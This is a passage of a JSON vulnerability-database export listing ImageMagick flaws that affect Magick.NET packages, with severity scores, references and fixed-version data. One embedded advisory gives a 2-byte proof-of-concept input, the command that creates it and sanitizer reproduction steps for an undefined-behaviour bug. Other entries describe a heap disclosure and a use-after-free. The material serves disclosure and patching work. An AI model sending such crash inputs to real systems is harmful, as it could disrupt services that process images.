V:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:27:44Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qh3h-j545-h8c9","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:27:44Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qh3h-j545-h8c9"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53101","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53101"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339","reference_id":"1109339","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379947","reference_id":"2379947","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379947"},{"reference_url":"https://github.com/advisories/GHSA-qh3h-j545-h8c9","reference_id":"GHSA-qh3h-j545-h8c9","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qh3h-j545-h8c9"},{"reference_url":"https://usn.ubuntu.com/7728-1/","reference_id":"USN-7728-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7728-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570675?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.7.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-a2qm-vkc3-qkd5"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-ef36-52cx-dfg5"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-r889-wzc7-1yem"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-uwj5-1fkf-7qg9"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vbdt-31wd-v3h8"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.7.0"}],"aliases":["CVE-2025-53101","GHSA-qh3h-j545-h8c9"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-9ewm-6688-kkar"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/27360?format=json","vulnerability_id":"VCID-a2qm-vkc3-qkd5","summary":"ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree\n## Summary\n- **Target:** ImageMagick (commit `ecc9a5eb456747374bae8e07038ba10b3d8821b3`)\n- **Type:** Undefined Behavior (function-type-mismatch) in splay tree cloning callback\n- **Impact:** Deterministic abort under UBSan (DoS in sanitizer builds). No crash in a non-sanitized build; likely low security impact.\n- **Trigger:** Minimal **2-byte** input parsed via MagickWand, then coalescing.\n## Environment\nOS: macOS (Apple Silicon/arm64)\nHomebrew clang version 20.1.8\nTarget: arm64-apple-darwin24.5.0\nThread model: posix\nInstalledDir: /opt/homebrew/Cellar/llvm/20.1.8/bin\nConfiguration file: /opt/homebrew/etc/clang/arm64-apple-darwin24.cfg\nHomebrew ImageMagick: `magick -version` → `ImageMagick 7.1.2-0 Q16-HDRI aarch64`\npkg-config: `MagickWand-7.Q16HDRI` version `7.1.2`\nLibrary configure flags (capsule build):\n./configure --disable-shared --enable-static --without-modules --without-magick-plus-plus --disable-openmp --without-perl --without-x --with-png=yes --without-jpeg --without-tiff --without-xml --without-lqr --without-gslib\nHarness compile flags:\n-fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer\npkg-config cflags/libs supplied:\n-I<...>/include/ImageMagick-7\n-DMAGICKCORE_HDRI_ENABLE=1 -DMAGICKCORE_QUANTUM_DEPTH=16 -DMAGICKCORE_CHANNEL_MASK_DEPTH=32\nand linked against MagickWand-7.Q16HDRI and MagickCore-7.Q16HDRI\nSanitizer runtime:\nASan+UBSan defaults. Repro also with `UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1`\n## PoC\n- **Bytes (hex):** `1c 02`\n- **Base64:** `HAI=`\n - **sha256 (optional):** <fill in>\n## Reproduction\nCreate PoC:\n\n`printf '\\x1c\\x02' > poc.bin`\n\nOption A: libFuzzer harness\n- Run once: `./harness_ImageMagick_... -runs=1 ./poc.bin`\n- Expected: UBSan aborts with function-type-mismatch at `MagickCore/splay-tree.c:372:43`.\n\nOption B: standalone reproducer (C)\n- Compile (ensure `PKG_CONFIG_PATH` points to your ImageMagick if needed):\n\n/opt/homebrew/opt/llvm/bin/clang -g -O1 -fsanitize=address,undefined $(/opt/homebrew/bin/pkg-config --cflags MagickWand-7.Q16HDRI) repro.c -o repro $(/opt/homebrew/bin/pkg-config --libs MagickWand-7.Q16HDRI)\n\n- Run:\n\nUBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 ./repro ./poc.bin\nObserved output (excerpt)\nMagickCore/splay-tree.c:372:43: runtime error: call to function ConstantString through pointer to incorrect function type 'void *(*)(void *)'\nstring.c:680: note: ConstantString defined here\n#0 CloneSplayTree splay-tree.c:372\n#1 CloneImageProfiles profile.c:159\n#2 CloneImage image.c:832\n#3 CoalesceImages layer.c:269\n#4 MagickCoalesceImages magick-image.c:1665\n#5 main repro.c:XX\nRoot cause\nThe splay tree clone callback expects a function pointer of type `void *(*)(void *)`. ConstantString has a different signature (`char *ConstantString(const char *)`). Calling through the mismatched function type is undefined behavior in C and triggers UBSan’s function-type-mismatch.\nThe path is exercised during coalescing: CloneImage → CloneImageProfiles → CloneSplayTree.\nScope\nReproduces with a minimal, sanitizer-instrumented, PNG-enabled build and delegates disabled (policy.xml), suggesting the issue is in MagickCore rather than external delegates.\nSuggested fix (sketch)\nUse a wrapper that matches the expected callback prototype, or adjust the splay-tree callback typedef for const-correctness. For example:\nstatic void *CloneStringShim(const void *p) {\nreturn (void *) ConstantString((const char *) p);\n}\n\n/* When setting splay-tree clone_value, use CloneStringShim instead of ConstantString. */\n\nAlternatively, update the clone callback typedefs to use const void* consistently (and return void*) and ensure callers pass a correctly typed wrapper.\n\nArtifacts\nMinimised PoC: attached (poc.bin, 2 bytes; base64 HAI=)\nHarness source and exact build command (attached)\nFull UBSan trace (attached)\nCommit SHA and configure flags (above)\nCredits\nDiscovered by: Lumina Mescuwa\nMethod: libFuzzer + UBSan\nVerification\n- UBSan build: Reproduces with `halt_on_error=1`; aborts at `MagickCore/splay-tree.c:372`.\n- Non-sanitized Homebrew build (macOS arm64, clang 20.1.8): No crash; repro completes silently.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55160.json","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55160.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55160","reference_id":"","reference_type":"","scores":[{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.12454","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.1254","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.12582","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.12321","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.1239","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.1247","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.1252","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.12492","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00041","scoring_system":"epss","scoring_elements":"0.12414","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.1349","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13547","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13574","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00044","scoring_system":"epss","scoring_elements":"0.13561","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00058","scoring_system":"epss","scoring_elements":"0.18013","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55160"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55160","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55160"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6hgw-6x87-578x","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:26:33Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6hgw-6x87-578x"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55160","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55160"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111104","reference_id":"1111104","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111104"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2388253","reference_id":"2388253","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2388253"},{"reference_url":"https://github.com/advisories/GHSA-6hgw-6x87-578x","reference_id":"GHSA-6hgw-6x87-578x","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-6hgw-6x87-578x"},{"reference_url":"https://usn.ubuntu.com/7756-1/","reference_id":"USN-7756-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7756-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570798?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.8.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-r889-wzc7-1yem"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-uwj5-1fkf-7qg9"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.8.0"}],"aliases":["CVE-2025-55160","GHSA-6hgw-6x87-578x"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-a2qm-vkc3-qkd5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21827?format=json","vulnerability_id":"VCID-acsa-1uwk-fqee","summary":"ImageMagick has Possible Heap Information Disclosure in PSD ZIP Decompression\n### Description\nA heap information disclosure vulnerability exists in ImageMagick's PSD (Adobe Photoshop) format handler. When processing a maliciously crafted PSD file containing ZIP-compressed layer data that decompresses to less than the expected size, uninitialized heap memory is leaked into the output image.\n\n### Expected Impact\nInformation disclosure leading to potential exposure of sensitive data from server memory.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24481","reference_id":"","reference_type":"","scores":[{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03926","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03881","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03909","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03914","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03928","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03934","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03957","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04054","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04009","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04003","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03991","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.0387","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.0386","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14453","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24481"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24481","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24481"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/51c9d33f4770cdcfa1a029199375d570af801c97","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/51c9d33f4770cdcfa1a029199375d570af801c97"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-96pc-27rx-pr36","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:39:38Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-96pc-27rx-pr36"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24481","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24481"},{"reference_url":"https://github.com/advisories/GHSA-96pc-27rx-pr36","reference_id":"GHSA-96pc-27rx-pr36","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-96pc-27rx-pr36"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-24481","GHSA-96pc-27rx-pr36"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-acsa-1uwk-fqee"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22276?format=json","vulnerability_id":"VCID-anyp-2jr7-73a1","summary":"ImageMagick has a possible heap Use After Free vulnerability in its meta coder\nA heap Use After Free vulnerability exists in the meta coder when an allocation fails and a single byte is written to a stale pointer.\n\n```\n==535852==ERROR: AddressSanitizer: heap-use-after-free on address 0x5210000088ff at pc 0x5581bacac14d bp 